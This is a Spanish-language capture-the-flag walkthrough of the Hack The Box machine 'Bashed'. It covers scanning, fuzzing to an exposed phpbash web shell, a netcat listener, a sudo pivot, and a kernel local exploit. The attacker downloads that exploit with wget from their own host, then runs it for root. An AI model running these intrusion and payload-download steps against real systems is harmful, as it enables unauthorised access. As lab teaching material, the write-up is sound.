Walkthrough — Bashed (Hack The Box)
Recorrido por la máquina Bashed, enfocada en la exposición de scripts en producción y una clásica escalada de privilegios local.
🧭 Introducción
Bashed es una máquina Easy de Hack The Box, ideal para practicar acceso inicial a través de archivos expuestos y escalar con una vieja gloria de los exploits de kernel. ¡Clásica, simple y efectiva!
- SO: Linux (Ubuntu 16.04)
- Dificultad: Easy
- Herramientas utilizadas:
nmap,ffuf,netcat,gcc,python3,wget
🔎 Enumeración inicial
Lancé un escaneo completo con nmap para ver qué servicios estaban vivos:
nmap -sC -sV -p- -T4 10.10.10.68
-p-: todos los puertos
-sC -sV: scripts por defecto y detección de versiones
-T4: velocidad decente sin romper cosas

Resultado:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
Sólo un puerto abierto: HTTP. Sencillo, pero esto suele ser una señal de que lo jugoso está en la web.
🌐 Exploración web
Navegando a http://10.10.10.68 encontré algo interesante…

Un sitio personal de desarrollo, y en él se menciona explícitamente el uso de phpsbash… ¿en producción?
“I actually developed it on this exact server”
Gracias, desarrollador desconocido. 🎯
🕵️ Fuzzing de rutas
Para buscar rutas ocultas, utilicé ffuf con una wordlist de Seclists:
ffuf -u http://10.10.10.68/FUZZ \
-w /path/to/SecLists/Discovery/Web-Content/common.txt \
-mc 200,204,301,302,307,403 \
-fs 401 -t 40

El resultado me reveló /dev/.
🛠️ phpBash en /dev/
Visitando http://10.10.10.68/dev/:

Y sí… hay dos versiones de phpsbash. Ejecuté la principal:

Y conseguí una shell como www-data. ¡Vamos!
📡 Mejorando acceso y reverse shell
Monté un listener:
nc -lnvp 1234

Y desde la consola web, lancé una reverse shell o mejoré la tty con:
python3 -c 'import pty; pty.spawn("/bin/bash")'

🧑💻 Flag de usuario
Navegando al home del usuario arrexel, encontré user.txt:
cat /home/arrexel/user.txt

Primera flag lista ✅
⬆️ Escalada de privilegios
Corrí sudo -l y encontré esto:
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

Eso significa que puedo ser scriptmanager sin contraseña:
sudo -u scriptmanager /bin/bash

🧠 Post-enumeración
Con acceso como scriptmanager, revisé el kernel con uname -a:

Es un kernel vulnerable: 4.4.0-62. En ExploitDB encontré una escalada local lista para usar.
💥 Explotación local — DirtyCow/Overlayfs
El exploit (exploit.c) se compila así:
gcc exploit.c -o rootme -static -O2

Serví el binario con Python:
sudo python3 -m http.server 80

Y lo descargué desde la máquina víctima:
wget http://10.10.14.3/rootme -O /tmp/rootme
chmod +x /tmp/rootme
/tmp/rootme

🧑🚀 ¡Root shell!
El exploit funcionó y me dio una shell como root:

🏁 Flag de root
La cereza del postre: /root/root.txt
cat /root/root.txt

🎉 ¡Máquina completada!
✅ Resumen final
| Acción | Resultado |
|---|---|
| Escaneo inicial | Apache en puerto 80 |
| Enumeración web | phpBash expuesto |
| Acceso inicial | Shell como www-data |
| Escalada 1 | Sudo a scriptmanager |
| Escalada 2 | Exploit local al kernel |
| Flags | user.txt y root.txt ✔️ |
Autor: gueco99
🧠 Hack the Box – Bashed (Easy)